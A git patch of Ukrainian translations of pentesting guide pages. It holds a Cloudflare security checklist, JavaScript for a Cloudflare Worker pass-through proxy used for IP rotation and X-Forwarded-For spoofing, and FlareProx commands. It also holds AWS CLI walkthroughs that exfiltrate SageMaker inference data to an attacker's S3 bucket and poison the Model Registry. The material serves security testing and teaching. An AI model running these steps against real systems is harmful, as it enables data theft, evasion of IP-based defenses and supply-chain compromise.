From 77e8bde4d9cab8d4540bf71d366c80a52b38bde6 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 23 Oct 2025 13:45:48 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws --- .../cloudflare-security/README.md | 82 ++--- ...-workers-pass-through-proxy-ip-rotation.md | 286 ++++++++++++++++++ .../aws-sagemaker-post-exploitation/README.md | 65 ++-- .../feature-store-poisoning.md | 56 ++-- .../aws-sqs-dlq-redrive-exfiltration.md | 96 +++--- 5 files changed, 435 insertions(+), 150 deletions(-) create mode 100644 src/pentesting-ci-cd/cloudflare-security/cloudflare-workers-pass-through-proxy-ip-rotation.md diff --git a/src/pentesting-ci-cd/cloudflare-security/README.md b/src/pentesting-ci-cd/cloudflare-security/README.md index 3fc2de32a..ef7f49b5d 100644 --- a/src/pentesting-ci-cd/cloudflare-security/README.md +++ b/src/pentesting-ci-cd/cloudflare-security/README.md @@ -2,13 +2,13 @@ {{#include ../../banners/hacktricks-training.md}} -У обліковому записі Cloudflare є деякі **загальні налаштування та сервіси**, які можна налаштувати. На цій сторінці ми будемо **аналізувати налаштування, пов'язані з безпекою, кожного розділу:** +В обліковому записі Cloudflare є декілька загальних налаштувань та сервісів, які можна сконфігурувати. На цій сторінці ми збираємося проаналізувати налаштування, пов'язані з безпекою, для кожного розділу:
## Websites -Перегляньте кожен з: +Перевіряйте кожен з: {{#ref}} cloudflare-domains.md @@ -16,9 +16,9 @@ cloudflare-domains.md ### Domain Registration -- [ ] У **`Transfer Domains`** перевірте, що неможливо передати жоден домен. +- [ ] У розділі **`Transfer Domains`** перевірити, що неможливо передати (transfer) жоден домен. -Перегляньте кожен з: +Перевіряйте кожен з: {{#ref}} cloudflare-domains.md @@ -26,39 +26,45 @@ cloudflare-domains.md ## Analytics -_Я не зміг знайти нічого для перевірки безпеки конфігурації._ +_Я не знайшов нічого для перевірки під час конфігураційного огляду безпеки._ ## Pages -На кожній сторінці Cloudflare: +У кожній сторінці Cloudflare: -- [ ] Перевірте наявність **чутливої інформації** у **`Build log`**. -- [ ] Перевірте наявність **чутливої інформації** у **Github репозиторії**, призначеному для сторінок. -- [ ] Перевірте наявність потенційного компрометації репозиторію github через **workflow command injection** або компрометацію `pull_request_target`. Більше інформації на [**Github Security page**](../github-security/). -- [ ] Перевірте наявність **вразливих функцій** у каталозі `/fuctions` (якщо є), перевірте **перенаправлення** у файлі `_redirects` (якщо є) та **неправильно налаштовані заголовки** у файлі `_headers` (якщо є). -- [ ] Перевірте наявність **вразливостей** на **веб-сторінці** через **blackbox** або **whitebox**, якщо ви можете **доступитися до коду**. -- [ ] У деталях кожної сторінки `//pages/view/blocklist/settings/functions`. Перевірте наявність **чутливої інформації** у **`Environment variables`**. -- [ ] У деталях сторінки також перевірте **команду збірки** та **кореневий каталог** на наявність **потенційних ін'єкцій**, які можуть скомпрометувати сторінку. +- [ ] Перевірити наявність **чутливої інформації** у **`Build log`**. +- [ ] Перевірити наявність **чутливої інформації** в репозиторії Github, прив'язаному до pages. +- [ ] Перевірити можливий компроміс github repo через **workflow command injection** або компроміс `pull_request_target`. Більше інформації на сторінці [**Github Security page**](../github-security/index.html). +- [ ] Перевірити наявність вразливих функцій у каталозі `/fuctions` (якщо є), перевірити **redirects** у файлі `_redirects` (якщо є) та **misconfigured headers** у файлі `_headers` (якщо є). +- [ ] Перевірити наявність **вразливостей** у веб-сторінці за допомогою **blackbox** або **whitebox**, якщо доступний код. +- [ ] У деталях кожної сторінки `//pages/view/blocklist/settings/functions` перевірити наявність **чутливої інформації** в **`Environment variables`**. +- [ ] На сторінці деталей також перевірити **build command** та **root directory** на предмет потенційних ін'єкцій для компрометації сторінки. ## **Workers** -На кожному робітнику Cloudflare перевірте: +У кожного Cloudflare worker перевірити: -- [ ] Тригери: Що викликає тригер робітника? Чи може **користувач надіслати дані**, які будуть **використані** робітником? -- [ ] У **`Settings`**, перевірте наявність **`Variables`**, що містять **чутливу інформацію**. -- [ ] Перевірте **код робітника** та шукайте **вразливості** (особливо в місцях, де користувач може керувати введенням). -- Перевірте наявність SSRF, що повертає вказану сторінку, яку ви можете контролювати. -- Перевірте XSS, що виконує JS всередині svg зображення. -- Можливо, робітник взаємодіє з іншими внутрішніми сервісами. Наприклад, робітник може взаємодіяти з R2 бакетом, що зберігає інформацію, отриману з введення. У такому випадку необхідно перевірити, які можливості має робітник над R2 бакетом і як це може бути зловжито з боку введення користувача. +- [ ] Тригер: що викликає worker? Чи може **користувач відправити дані**, які будуть **використані** worker? +- [ ] У **`Settings`** перевірити **`Variables`** на наявність **чутливої інформації** +- [ ] Переглянути **код worker** та шукати **вразливості** (особливо в місцях, де користувач може контролювати ввід) +- Перевірити SSRF, що повертає вказану сторінку, яку ви можете контролювати +- Перевірити XSS, що виконує JS всередині svg-зображення +- Можливо, worker взаємодіє з іншими внутрішніми сервісами. Наприклад, worker може звертатися до R2 bucket і зберігати туди інформацію, отриману з вводу. У такому випадку потрібно перевірити, які права має worker щодо R2 bucket і як це можна зловживати через користувацький ввід. > [!WARNING] -> Зверніть увагу, що за замовчуванням **Робітнику надається URL** на кшталт `..workers.dev`. Користувач може налаштувати його на **піддомен**, але ви завжди можете отримати доступ до нього за цим **оригінальним URL**, якщо знаєте його. +> Note that by default a **Worker is given a URL** such as `..workers.dev`. The user can set it to a **subdomain** but you can always access it with that **original URL** if you know it. + +Для практичного зловживання Workers як pass-through proxy (IP rotation, FireProx-style) див.: + +{{#ref}} +cloudflare-workers-pass-through-proxy-ip-rotation.md +{{#endref}} ## R2 -На кожному R2 бакеті перевірте: +У кожному R2 bucket перевірити: -- [ ] Налаштуйте **CORS Policy**. +- [ ] Налаштувати **CORS Policy**. ## Stream @@ -70,8 +76,8 @@ TODO ## Security Center -- [ ] Якщо можливо, запустіть **`Security Insights`** **сканування** та **`Infrastructure`** **сканування**, оскільки вони **підкреслять** цікаву інформацію з точки зору **безпеки**. -- [ ] Просто **перевірте цю інформацію** на предмет неправильних налаштувань безпеки та цікавої інформації. +- [ ] Якщо можливо, запустити скан **`Security Insights`** та скан **`Infrastructure`**, оскільки вони можуть виділити цікаву інформацію з точки зору безпеки. +- [ ] Перевірити цю інформацію на предмет misconfigurations та цікавих деталей ## Turnstile @@ -86,14 +92,14 @@ cloudflare-zero-trust-network.md ## Bulk Redirects > [!NOTE] -> На відміну від [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) є по суті статичними — вони не підтримують жодні операції заміни рядків або регулярні вирази. Однак ви можете налаштувати параметри перенаправлення URL, які впливають на їх поведінку при співпадінні URL та їх поведінку під час виконання. +> Unlike [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) are essentially static — they do **not support any string replacement** operations or regular expressions. However, you can configure URL redirect parameters that affect their URL matching behavior and their runtime behavior. -- [ ] Перевірте, що **вирази** та **вимоги** для перенаправлень **мають сенс**. -- [ ] Також перевірте наявність **чутливих прихованих кінцевих точок**, які містять цікаву інформацію. +- [ ] Перевірити, що **expressions** та **requirements** для redirect-ів мають сенс. +- [ ] Також перевірити наявність **чутливих прихованих endpoint-ів**, які можуть містити цікаву інформацію. ## Notifications -- [ ] Перевірте **сповіщення**. Ці сповіщення рекомендуються для безпеки: +- [ ] Перевірити **notifications.** Ці сповіщення рекомендовані для безпеки: - `Usage Based Billing` - `HTTP DDoS Attack Alert` - `Layer 3/4 DDoS Attack Alert` @@ -113,22 +119,22 @@ cloudflare-zero-trust-network.md - `Script Monitor New Script Exceeds Max URL Length Alert` - `Advanced Security Events Alert` - `Security Events Alert` -- [ ] Перевірте всі **призначення**, оскільки можуть бути **чутливі дані** (базова http аутентифікація) у URL вебхуків. Також переконайтеся, що URL вебхуків використовують **HTTPS**. -- [ ] Як додаткову перевірку, ви можете спробувати **видавати себе за сповіщення Cloudflare** для третьої сторони, можливо, ви зможете якимось чином **впровадити щось небезпечне**. +- [ ] Перевірити всі **destinations**, оскільки у webhook URL-ах може бути **чутлива інформація** (basic http auth). Також переконатися, що webhook URLs використовують **HTTPS** +- [ ] Як додаткову перевірку, можна спробувати **імітувати cloudflare notification** для третьої сторони — можливо, вдасться щось інжектувати небезпечне ## Manage Account -- [ ] Можна побачити **останні 4 цифри кредитної картки**, **термін дії** та **адресу для виставлення рахунків** у **`Billing` -> `Payment info`**. -- [ ] Можна побачити **тип плану**, що використовується в обліковому записі, у **`Billing` -> `Subscriptions`**. -- [ ] У **`Members`** можна побачити всіх учасників облікового запису та їх **роль**. Зверніть увагу, що якщо тип плану не є Enterprise, існують лише 2 ролі: Адміністратор та Супер Адміністратор. Але якщо використовується **план Enterprise**, [**більше ролей**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) можуть бути використані для дотримання принципу найменших привілеїв. -- Тому, коли це можливо, **рекомендується** використовувати **Enterprise план**. -- [ ] У членах можна перевірити, які **учасники** мають **2FA увімкнено**. **Кожен** користувач повинен мати його увімкненим. +- [ ] У **`Billing` -> `Payment info`** можна побачити **останні 4 цифри кредитної картки**, **строк дії** та **платіжну адресу**. +- [ ] У **`Billing` -> `Subscriptions`** можна побачити тип плану, що використовується в обліковому записі. +- [ ] У **`Members`** можна побачити всіх членів облікового запису та їхні **ролі**. Зауважте, що якщо план не Enterprise, існує лише 2 ролі: Administrator та Super Administrator. Але якщо використовується **Enterprise** план, можна застосовувати [**more roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) для принципу мінімальних привілеїв. +- Тому, коли це можливо, **рекомендовано** використовувати **Enterprise plan**. +- [ ] У Members можна перевірити, які **members** мають увімкнений **2FA**. **Усі** користувачі повинні мати його увімкненим. > [!NOTE] -> Зверніть увагу, що, на щастя, роль **`Administrator`** не надає дозволів на управління членством (**не може підвищити привілеї або запросити** нових учасників). +> Note that fortunately the role **`Administrator`** doesn't give permissions to manage memberships (**cannot escalate privs or invite** new members) ## DDoS Investigation -[Перевірте цю частину](cloudflare-domains.md#cloudflare-ddos-protection). +[Check this part](cloudflare-domains.md#cloudflare-ddos-protection). {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-workers-pass-through-proxy-ip-rotation.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-workers-pass-through-proxy-ip-rotation.md new file mode 100644 index 000000000..34fa3c0fc --- /dev/null +++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-workers-pass-through-proxy-ip-rotation.md @@ -0,0 +1,286 @@ +# Зловживання Cloudflare Workers як pass-through proxies (IP rotation, FireProx-style) + +{{#include ../../banners/hacktricks-training.md}} + +Cloudflare Workers можуть бути розгорнуті як прозорі HTTP pass-through proxies, де upstream target URL надається клієнтом. Запити виходять з мережі Cloudflare, тому ціль бачить Cloudflare IPs замість IP клієнта. Це відображає відомий метод FireProx на AWS API Gateway, але використовує Cloudflare Workers. + +### Ключові можливості +- Підтримка всіх HTTP методів (GET, POST, PUT, DELETE, PATCH, OPTIONS, HEAD) +- Ціль може бути передана через query-параметр (?url=...), заголовок (X-Target-URL) або навіть закодована в шляху (наприклад, /https://target) +- Заголовки та тіло проксируються з фільтрацією hop-by-hop/header за потреби +- Відповіді пересилаються назад, збереженням статус-коду та більшості заголовків +- За бажанням підміна X-Forwarded-For (якщо Worker встановлює його з заголовка, контрольованого користувачем) +- Надзвичайно швидке/просте обертання шляхом розгортання кількох Worker endpoint-ів і розгалуження запитів + +### Як це працює (потік) +1) Клієнт надсилає HTTP-запит на URL Worker (`..workers.dev` або маршрут на власному домені). +2) Worker витягує ціль або з query-параметра (?url=...), заголовка X-Target-URL, або сегмента шляху, якщо реалізовано. +3) Worker пересилає вхідний метод, заголовки та тіло на вказаний upstream URL (фільтруючи проблемні заголовки). +4) Відповідь upstream транслюється назад клієнту через Cloudflare; origin бачить Cloudflare egress IPs. + +### Приклад реалізації Worker +- Читає target URL з query-параметра, заголовка або шляху +- Копіює безпечний піднабір заголовків і пересилає оригінальний метод/тіло +- За бажанням встановлює X-Forwarded-For з заголовка, контрольованого користувачем (X-My-X-Forwarded-For), або випадкової IP-адреси +- Додає помірно дозволений CORS і оброблює preflight + +
+Приклад Worker (JavaScript) для pass-through proxying +```javascript +/** +* Minimal Worker pass-through proxy +* - Target URL from ?url=, X-Target-URL, or /https://... +* - Proxies method/headers/body to upstream; relays response +*/ +addEventListener('fetch', event => { +event.respondWith(handleRequest(event.request)) +}) + +async function handleRequest(request) { +try { +const url = new URL(request.url) +const targetUrl = getTargetUrl(url, request.headers) + +if (!targetUrl) { +return errorJSON('No target URL specified', 400, { +usage: { +query_param: '?url=https://example.com', +header: 'X-Target-URL: https://example.com', +path: '/https://example.com' +} +}) +} + +let target +try { target = new URL(targetUrl) } catch (e) { +return errorJSON('Invalid target URL', 400, { provided: targetUrl }) +} + +// Forward original query params except control ones +const passthru = new URLSearchParams() +for (const [k, v] of url.searchParams) { +if (!['url', '_cb', '_t'].includes(k)) passthru.append(k, v) +} +if (passthru.toString()) target.search = passthru.toString() + +// Build proxied request +const proxyReq = buildProxyRequest(request, target) +const upstream = await fetch(proxyReq) + +return buildProxyResponse(upstream, request.method) +} catch (error) { +return errorJSON('Proxy request failed', 500, { +message: error.message, +timestamp: new Date().toISOString() +}) +} +} + +function getTargetUrl(url, headers) { +let t = url.searchParams.get('url') || headers.get('X-Target-URL') +if (!t && url.pathname !== '/') { +const p = url.pathname.slice(1) +if (p.startsWith('http')) t = p +} +return t +} + +function buildProxyRequest(request, target) { +const h = new Headers() +const allow = [ +'accept','accept-language','accept-encoding','authorization', +'cache-control','content-type','origin','referer','user-agent' +] +for (const [k, v] of request.headers) { +if (allow.includes(k.toLowerCase())) h.set(k, v) +} +h.set('Host', target.hostname) + +// Optional: spoof X-Forwarded-For if provided +const spoof = request.headers.get('X-My-X-Forwarded-For') +h.set('X-Forwarded-For', spoof || randomIP()) + +return new Request(target.toString(), { +method: request.method, +headers: h, +body: ['GET','HEAD'].includes(request.method) ? null : request.body +}) +} + +function buildProxyResponse(resp, method) { +const h = new Headers() +for (const [k, v] of resp.headers) { +if (!['content-encoding','content-length','transfer-encoding'].includes(k.toLowerCase())) { +h.set(k, v) +} +} +// Permissive CORS for tooling convenience +h.set('Access-Control-Allow-Origin', '*') +h.set('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS, PATCH, HEAD') +h.set('Access-Control-Allow-Headers', '*') + +if (method === 'OPTIONS') return new Response(null, { status: 204, headers: h }) +return new Response(resp.body, { status: resp.status, statusText: resp.statusText, headers: h }) +} + +function errorJSON(msg, status=400, extra={}) { +return new Response(JSON.stringify({ error: msg, ...extra }), { +status, headers: { 'Content-Type': 'application/json' } +}) +} + +function randomIP() { return [1,2,3,4].map(() => Math.floor(Math.random()*255)+1).join('.') } +``` +
+ +### Автоматизація розгортання та ротації за допомогою FlareProx + +FlareProx — інструмент на Python, який використовує Cloudflare API для deploy великої кількості Worker endpoints і rotate між ними. Це забезпечує FireProx-like IP rotation із мережі Cloudflare. + +Налаштування +1) Створіть Cloudflare API Token, використовуючи шаблон “Edit Cloudflare Workers”, і отримайте ваш Account ID у панелі керування. +2) Налаштуйте FlareProx: +```bash +git clone https://github.com/MrTurvey/flareprox +cd flareprox +pip install -r requirements.txt +``` +**Створіть файл конфігурації flareprox.json:** +```json +{ +"cloudflare": { +"api_token": "your_cloudflare_api_token", +"account_id": "your_cloudflare_account_id" +} +} +``` +**Використання CLI** + +- Створити N Worker proxies: +```bash +python3 flareprox.py create --count 2 +``` +- Перелічити endpoints: +```bash +python3 flareprox.py list +``` +- Ендпоїнти перевірки працездатності (health-test): +```bash +python3 flareprox.py test +``` +- Видалити всі endpoints: +```bash +python3 flareprox.py cleanup +``` +**Routing traffic through a Worker** +- Форма параметра запиту: +```bash +curl "https://your-worker.account.workers.dev?url=https://httpbin.org/ip" +``` +- Форма заголовка: +```bash +curl -H "X-Target-URL: https://httpbin.org/ip" https://your-worker.account.workers.dev +``` +- Форма шляху (якщо реалізовано): +```bash +curl https://your-worker.account.workers.dev/https://httpbin.org/ip +``` +- Приклади методів: +```bash +# GET +curl "https://your-worker.account.workers.dev?url=https://httpbin.org/get" + +# POST (form) +curl -X POST -d "username=admin" \ +"https://your-worker.account.workers.dev?url=https://httpbin.org/post" + +# PUT (JSON) +curl -X PUT -d '{"username":"admin"}' -H "Content-Type: application/json" \ +"https://your-worker.account.workers.dev?url=https://httpbin.org/put" + +# DELETE +curl -X DELETE \ +"https://your-worker.account.workers.dev?url=https://httpbin.org/delete" +``` +**`X-Forwarded-For` контроль** + +Якщо Worker враховує `X-My-X-Forwarded-For`, ви можете впливати на upstream значення заголовка `X-Forwarded-For`: +```bash +curl -H "X-My-X-Forwarded-For: 203.0.113.10" \ +"https://your-worker.account.workers.dev?url=https://httpbin.org/headers" +``` +**Програмне використання** + +Використовуйте бібліотеку FlareProx для створення/переліку/тестування endpoints та маршрутизації запитів з Python. + +
+Приклад Python: надіслати POST через випадковий Worker endpoint +```python +#!/usr/bin/env python3 +from flareprox import FlareProx, FlareProxError +import json + +# Initialize +flareprox = FlareProx(config_file="flareprox.json") +if not flareprox.is_configured: +print("FlareProx not configured. Run: python3 flareprox.py config") +exit(1) + +# Ensure endpoints exist +endpoints = flareprox.sync_endpoints() +if not endpoints: +print("Creating proxy endpoints...") +flareprox.create_proxies(count=2) + +# Make a POST request through a random endpoint +try: +post_data = json.dumps({ +"username": "testuser", +"message": "Hello from FlareProx!", +"timestamp": "2025-01-01T12:00:00Z" +}) + +headers = { +"Content-Type": "application/json", +"User-Agent": "FlareProx-Client/1.0" +} + +response = flareprox.redirect_request( +target_url="https://httpbin.org/post", +method="POST", +headers=headers, +data=post_data +) + +if response.status_code == 200: +result = response.json() +print("✓ POST successful via FlareProx") +print(f"Origin IP: {result.get('origin', 'unknown')}") +print(f"Posted data: {result.get('json', {})}") +else: +print(f"Request failed with status: {response.status_code}") + +except FlareProxError as e: +print(f"FlareProx error: {e}") +except Exception as e: +print(f"Request error: {e}") +``` +
+ +**Інтеграція Burp/Scanner** +- Вкажіть інструментам (наприклад, Burp Suite) Worker URL. +- Передайте реальний upstream, використовуючи ?url= або X-Target-URL. +- HTTP semantics (methods/headers/body) зберігаються, при цьому ваш вихідний IP маскується за Cloudflare. + +**Операційні нотатки та обмеження** +- Cloudflare Workers Free plan дозволяє приблизно 100,000 запитів/день на акаунт; використовуйте кілька endpoints для розподілу трафіку за потреби. +- Workers запускаються в мережі Cloudflare; багато цілей бачитимуть лише Cloudflare IPs/ASN, що може обійти наївні списки дозволених/заборонених IP або гео-евристику. +- Використовуйте відповідально і лише з дозволу. Дотримуйтесь ToS і robots.txt. + +## Джерела +- [FlareProx (Cloudflare Workers pass-through/rotation)](https://github.com/MrTurvey/flareprox) +- [Cloudflare Workers fetch() API](https://developers.cloudflare.com/workers/runtime-apis/fetch/) +- [Cloudflare Workers pricing and free tier](https://developers.cloudflare.com/workers/platform/pricing/) +- [FireProx (AWS API Gateway)](https://github.com/ustayready/fireprox) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md index a7499a284..910da9c88 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md @@ -2,18 +2,18 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Перехоплення даних SageMaker endpoint через UpdateEndpoint DataCaptureConfig +## SageMaker endpoint data siphon via UpdateEndpoint DataCaptureConfig -Зловживати керуванням SageMaker endpoint, щоб увімкнути повний захват запитів/відповідей у attacker‑controlled S3 bucket без змін у моделі або контейнері. Використовує поетапне оновлення (zero/low‑downtime rolling update) і потребує лише дозволів на управління endpoint. +Зловживання управлінням endpoint-ами SageMaker для включення повного захоплення запитів/відповідей в attacker‑controlled S3 bucket, не торкаючись моделі чи контейнера. Використовує zero/low‑downtime rolling update і вимагає лише дозволів на управління endpoint. ### Вимоги - IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint` -- S3: `s3:CreateBucket` (або використати існуючий bucket у тому ж акаунті) -- Optional (if using SSE‑KMS): `kms:Encrypt` on the chosen CMK -- Target: An existing InService real‑time endpoint in the same account/region +- S3: `s3:CreateBucket` (або використати існуючий bucket в тому ж account) +- Необов'язково (якщо використовується SSE‑KMS): `kms:Encrypt` на обраному CMK +- Ціль: існуючий InService real‑time endpoint в тому ж account/region ### Кроки -1) Виявити InService endpoint і зібрати поточні production variants +1) Визначте InService endpoint і зберіть поточні production variants ```bash REGION=${REGION:-us-east-1} EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text) @@ -28,9 +28,9 @@ ACC=$(aws sts get-caller-identity --query Account --output text) BUCKET=ht-sm-capture-$ACC-$(date +%s) aws s3 mb s3://$BUCKET --region $REGION ``` -3) Створіть новий EndpointConfig, який зберігає ті ж variants, але вмикає DataCapture у attacker bucket +3) Створіть новий EndpointConfig, який зберігає ті самі варіанти, але вмикає DataCapture у bucket зловмисника -Примітка: Використовуйте явні content types, які відповідають валідації CLI. +Примітка: Використовуйте явні типи вмісту, які задовольняють валідацію CLI. ```bash NEWCFG=${CFG}-dc cat > /tmp/dc.json << JSON @@ -54,35 +54,35 @@ aws sagemaker create-endpoint-config \ --production-variants file:///tmp/pv.json \ --data-capture-config file:///tmp/dc.json ``` -4) Застосуйте нову конфігурацію за допомогою rolling update (мінімальний/відсутній час простою) +4) Застосувати новий config з rolling update (minimal/no downtime) ```bash aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG" aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP" ``` -5) Згенеруйте принаймні один виклик інференсу (необов'язково, якщо є живий трафік) +5) Згенеруйте щонайменше один inference call (необов'язково, якщо є живий трафік) ```bash echo '{"inputs":[1,2,3]}' > /tmp/payload.json aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \ --content-type application/json --accept application/json \ --body fileb:///tmp/payload.json /tmp/out.bin || true ``` -6) Перевірте захоплення в S3 зловмисника +6) Перевірити захоплення в S3 зловмисника ```bash aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize ``` ### Impact -- Повна exfiltration payload-ів запитів і відповідей inference в реальному часі (та метаданих) з цільового endpoint до атакуючим контрольованого S3 bucket. -- Жодних змін до model/container image — лише зміни на рівні endpoint, що дозволяє прихований шлях викрадення даних з мінімальним впливом на операційну роботу. +- Повна exfiltration реальних (real‑time) inference request і response payloads (та метаданих) із цільового endpoint до контрольованого атакуючим S3 bucket. +- Жодних змін до model/container image — лише endpoint‑level зміни, що дозволяють stealthy data theft шлях з мінімальними операційними порушеннями. ## SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig -Зловживання управлінням endpoint для перенаправлення асинхронних виходів inference до атакуючим контрольованого S3 bucket шляхом клонування поточного EndpointConfig та встановлення AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. Це exfiltrates передбачення моделі (та будь-які перетворені входи, що додає контейнер) без модифікації model/container. +Зловживання управлінням endpoint для перенаправлення asynchronous inference outputs до S3 bucket, контрольованого атакуючим, шляхом клонування поточного EndpointConfig і встановлення AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. Це exfiltrates model predictions (та будь‑які трансформовані inputs, які додає контейнер) без модифікації model/container. ### Requirements - IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint` -- S3: Можливість запису в атакуючим контрольований S3 bucket (через роль виконання моделі або лояльну політику bucket) -- Target: An InService endpoint де використовуються (або будуть використовуватись) асинхронні виклики +- S3: Можливість запису в attacker S3 bucket (через model execution role або permissive bucket policy) +- Target: An InService endpoint where asynchronous invocations are (or will be) used ### Steps 1) Зібрати поточні ProductionVariants з цільового endpoint @@ -92,13 +92,13 @@ EP= CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text) aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json ``` -2) Створіть attacker bucket (переконайтеся, що model execution role може виконувати PutObject до нього) +2) Створіть attacker bucket (переконайтеся, що model execution role може PutObject до нього) ```bash ACC=$(aws sts get-caller-identity --query Account --output text) BUCKET=ht-sm-async-exfil-$ACC-$(date +%s) aws s3 mb s3://$BUCKET --region $REGION || true ``` -3) Клонувати EndpointConfig та перехопити результати AsyncInference у бакет нападника +3) Клонувати EndpointConfig та перехопити виводи AsyncInference у attacker bucket ```bash NEWCFG=${CUR_CFG}-async-exfil cat > /tmp/async_cfg.json << JSON @@ -108,7 +108,7 @@ aws sagemaker create-endpoint-config --region $REGION --endpoint-config-name " aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG" aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP" ``` -4) Спровокуйте асинхронний виклик і перевірте, що об'єкти потрапляють у S3 атакуючого +4) Запустіть async invocation та перевірте, що objects потрапляють в attacker S3 ```bash aws s3 cp /etc/hosts s3://$BUCKET/inp.bin aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true @@ -117,21 +117,21 @@ aws s3 ls s3://$BUCKET/async-out/ --recursive || true aws s3 ls s3://$BUCKET/async-fail/ --recursive || true ``` ### Вплив -- Перенаправляє асинхронні результати інференсу (та тіла помилок) в S3 під контролем атакуючого, що дозволяє приховано вивантажувати прогнози та потенційно чутливі вхідні/вихідні дані, які генерує контейнер, без зміни коду чи образу моделі та з мінімальним або відсутнім простоєм. +- Перенаправляє асинхронні результати inference (і тіла помилок) до S3 під контролем зловмисника, що дозволяє приховану ексфільтрацію прогнозів та потенційно чутливих вхідних/вихідних даних, які були pre/post-processed контейнером, без зміни model code або image і з мінімальним/без простоїв. -## SageMaker Model Registry інжекція ланцюжка постачання через CreateModelPackage(Approved) +## SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved) -Якщо атакуючий може виконати CreateModelPackage на цільовій SageMaker Model Package Group, він може зареєструвати нову версію моделі, яка вказує на контейнерний образ під контролем атакуючого, і одразу позначити її як Approved. Багато CI/CD конвеєрів автоматично розгортають Approved версії моделі на endpoints або training jobs, що призводить до виконання коду атакуючого під ролями виконання сервісу. Експозиція між акаунтами може посилюватися через ліберальну політику ресурсу ModelPackageGroup. +Якщо зловмисник може виконати CreateModelPackage на цільовій SageMaker Model Package Group, він може зареєструвати нову версію моделі, яка вказує на container image під контролем зловмисника, і одразу позначити її як Approved. Багато CI/CD pipeline автоматично розгортають Approved версії моделей на endpoints або training jobs, що призводить до виконання коду зловмисника під ролями виконання сервісу. Cross-account exposure може посилюватися через надмірно дозволяючу політику ресурсу ModelPackageGroup. ### Вимоги -- IAM (мінімум прав для отруєння існуючої групи): `sagemaker:CreateModelPackage` на цільовій ModelPackageGroup -- Необов'язково (щоб створити групу, якщо її не існує): `sagemaker:CreateModelPackageGroup` -- S3: доступ на читання до вказаного ModelDataUrl (або розміщення артефактів під контролем атакуючого) -- Ціль: Model Package Group, за яким downstream-автоматизація слідкує щодо Approved версій +- IAM (щонайменше для скомпрометування існуючої групи): `sagemaker:CreateModelPackage` на цільовому ModelPackageGroup +- Optional (щоб створити групу, якщо її не існує): `sagemaker:CreateModelPackageGroup` +- S3: дозвіл на читання до вказаного ModelDataUrl (або розміщення артефактів під контролем зловмисника) +- Target: Model Package Group, яку downstream automation відстежує на предмет Approved версій ### Кроки -1) Встановити регіон і створити/знайти цільову Model Package Group +1) Set region and create/find a target Model Package Group ```bash REGION=${REGION:-us-east-1} MPG=victim-group-$(date +%s) @@ -145,7 +145,7 @@ aws s3 mb s3://$BUCKET --region $REGION head -c 1024 /tmp/model.tar.gz aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION ``` -3) Зареєструйте зловмисну (тут безпечну) Approved model package version, яка посилається на публічний AWS DLC image +3) Зареєструвати шкідливу (тут нешкідливу) Approved model package version, яка посилається на публічний AWS DLC image ```bash IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3" cat > /tmp/inf.json << JSON @@ -162,18 +162,19 @@ cat > /tmp/inf.json << JSON JSON aws sagemaker create-model-package --region $REGION --model-package-group-name $MPG --model-approval-status Approved --inference-specification file:///tmp/inf.json ``` -4) Перевірте, що нова версія Approved існує +4) Переконайтеся, що існує нова версія Approved ```bash aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table ``` ### Вплив -- Poison the Model Registry with an Approved version that references attacker-controlled code. Pipelines that auto-deploy Approved models may pull and run the attacker image, yielding code execution under endpoint/training roles. -- With a permissive ModelPackageGroup resource policy (PutModelPackageGroupPolicy), this abuse can be triggered cross-account. +- Poison the Model Registry за допомогою версії Approved, яка посилається на attacker-controlled code. Pipelines, які автоматично деплоять моделі Approved, можуть завантажити та виконати attacker image, що призведе до виконання коду з правами endpoint/training roles. +- За наявності 